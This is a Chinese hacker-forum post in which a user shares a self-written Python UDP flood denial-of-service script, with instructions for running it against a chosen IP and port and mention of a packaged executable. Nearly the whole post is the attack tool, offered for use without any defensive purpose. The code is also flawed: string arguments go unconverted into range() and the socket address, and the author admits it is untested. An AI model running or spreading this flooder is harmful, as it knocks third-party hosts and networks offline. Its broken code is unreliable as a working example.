[程序积累]python的拒绝服务攻击

 
1323 1
Shaiden实名认证 2022-12-22 12:19:38 | 显示全部楼层 |阅读模式
程序积累的第一天
本程序自主研发。
源码(python3.7)
  1. """
  2. 2022/12/22
  3. 1222DOS.py
  4. 本程序纯原创,如有缺点尽管提出,感谢你的支持。 -Shaiden

  5. 基于UDP的Dos 纯属无脑冲
  6. 没有实验过,不知道具体效果,但是内网带宽确实占满了

  7. 食用教程:在同目录下打开cmd 输入 python3 1222DOS.py 线程数 目标ip 端口
  8. 由于线程较多,关闭时需要多摁几下Ctrl+c或者直接关闭界面。
  9. """

  10. import socket
  11. import threading
  12. import sys
  13. import ctypes
  14. now=0
  15. class Dos(object):
  16.     def __init__(self,con,ip,port):
  17.         self.arg = (con, ip, port,)
  18.         self.t=threading.Thread
  19.         self.s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  # 实例化一个UDP socket

  20.     def dos(self): #con是攻击次数 ip是攻击目标
  21.         global now
  22.         dataAddress = (self.arg[1],self.arg[2]) #目标组
  23.         sendDate='AWOCa'*10240 #发送的数据
  24.         try:
  25.             while 1:#随机本机IP
  26.                 self.s.sendto(sendDate.encode('Utf-8'),dataAddress) #发送
  27.                 now+=1
  28.                 # print(1)
  29.         except:
  30.             return
  31.     def run(self):
  32.         for x in range(self.arg[0]):
  33.             self.t(target=self.dos).start()
  34.         while True:print(f'Send {now} packet.')
  35. if __name__ == '__main__':
  36.     try:
  37.         shaiden=Dos(sys.argv[1],sys.argv[2],sys.argv[3])
  38.         shaiden.run()
  39.     except:
  40.         ctypes.windll.user32.MessageBoxW(0,'请在同目录下打开cmd 输入 "python3 1222DOS.py 线程数 目标ip 端口"来运行程序', '提示', 1)


复制代码

已经打包完成的exe
本程序纯原创,如有缺点尽管提出,感谢你的支持。 -Shaiden
Shaiden

初入联盟

关注
  • 2
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行